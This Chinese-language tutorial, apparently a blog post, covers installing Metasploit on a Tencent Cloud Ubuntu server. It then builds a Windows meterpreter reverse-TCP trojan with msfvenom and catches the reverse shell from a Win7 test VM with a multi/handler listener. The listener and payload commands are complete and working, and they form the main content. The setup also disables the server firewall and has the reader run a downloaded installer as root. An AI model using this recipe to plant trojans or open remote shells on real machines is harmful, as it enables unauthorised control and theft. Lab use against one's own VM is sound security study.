本教程在腾讯云Ubuntu Server 16.04.1 LTS 64位上测试通过
登录到Ubuntu系统后,首先切换成root用户
sudo su
关闭防火墙:ufw disable 记得reboot重启下
在正式开始安装之前,我们先来更新下腾讯云系统相关组件确保它处于最新的安装包(如果弹出来询问你,全部回车就可以了):
sudo apt-get update sudo apt-get upgrade在更新完成后下面我们来安装一些必要的库文件,这些库文件的安装与否将直接影响到 metasploit 的安装:
sudo apt-get install build-essential libssl-dev libreadline-dev libpq5 libpq-dev libreadline5 libpcap-dev openjdk-7-jre git-core autoconf postgresql libsqlite3-dev pgadmin3 curl zlib1g-dev libxml2-dev curl zlib1g-dev libxslt1-dev vncviewer libyaml-dev接着我们先来安装 Nmap ,当使用 metasploit 进行扫描时需要调用它(根据个人需要选择安装):
sudo apt-get install nmap我们的准备工作算是做完了,接下来就是正常安装Metasploit了
安装Metasploit(安装会有点慢,不要慌,请耐心等待)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall
安装postgresql数据库,依次执行下面的命令(安装数据库时会自动创建系统用户postgres、数据库用户postgres、数据库postgres):
apt-get install postgresql //安装postgresql数据库 su - postgres //切换到postgres用户 psql //登陆postgresql数据库,首次登陆没有密码 \password postgres //修改数据库用户postgres的密码
启动Metasploit(会发现数据库链接失败)
msfconsole
进入后执行(查看数据库链接状态):
db_status发现数据库链接失败,不要慌,问题不大,执行下面的语句(注意密码为刚刚修改的postgress密码):
db_connect postgres:这里填你刚刚修改的数据库密码@127.0.0.1/1500/metasploit3
这时候再执行:db_status,会发现链接成功。
搜索下sm可以看到有很多模块,当然也有MS17010
接下来我们生成木马测试,注意,这里生成木马是重点,生成木马之前请先去MSF监听起来,然后新开一个SSH窗口去执行生成木马的命令,不然可能会生成木马失败。
先执行MSF监听的命令:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set LHOST 这里是你腾讯云的内网IP(可用ifconfig查看) set LPORT 你想监听的端口 run

然后执行生成木马的命令(注意这里生成木马的时候LHOST是你的外网IP,端口是你监听的端口):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=腾讯云外网IP LPORT=1234 -f exe >x64.exe

接下来我们去win7虚拟机执行生成的Payload文件:
得到反弹的shell会话
小结下踩过的坑:
1.我用本机kali里面的MSF生成的payload(msf版本和服务器安装的不一样,但是填的是服务器的反弹IP),去靶机上执行,发现服务器这边没得到会话,原因是因为msf版本不一样,所以反弹不过去,我用服务器的msf生成payload,到靶机上去执行,成功反弹。
2.在服务器上生成payload失败,原因是因为msf没在服务器上先监听起来,我也不知道为什么要监听了才能生成payload,估计是抽风吧。正因为这第二个坑,才有了第一个坑。最后我发现服务器开启监听后居然能生成payload了。。。